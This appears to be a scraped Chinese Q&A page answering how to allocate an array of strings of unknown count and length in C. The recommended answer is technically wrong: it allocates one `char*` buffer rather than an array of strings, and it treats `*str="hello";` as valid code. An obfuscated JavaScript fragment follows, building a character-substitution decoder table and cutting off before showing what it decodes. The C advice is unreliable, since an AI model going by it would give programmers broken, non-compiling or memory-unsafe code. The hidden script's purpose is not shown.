C语言里面要定义一个字符串数组，数组元素个数不确定，每个元素的长度也不确定，求动态定义的方法
推荐回答（1个）
你可以用动态分配内存的方法,
比如你要建立一个字符串数组:
char *str;
str=(char *)malloc(n);
n是变量,可以在确定了变量的值后再用以上代码分配内存,
而str字符串可以以一般数组的用法使用,比如
*str="hello";的话
str[1]='l';
最后别忘了释放内存
free(str);
!function(){function a(a){var _idx="s54ivid5np";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return
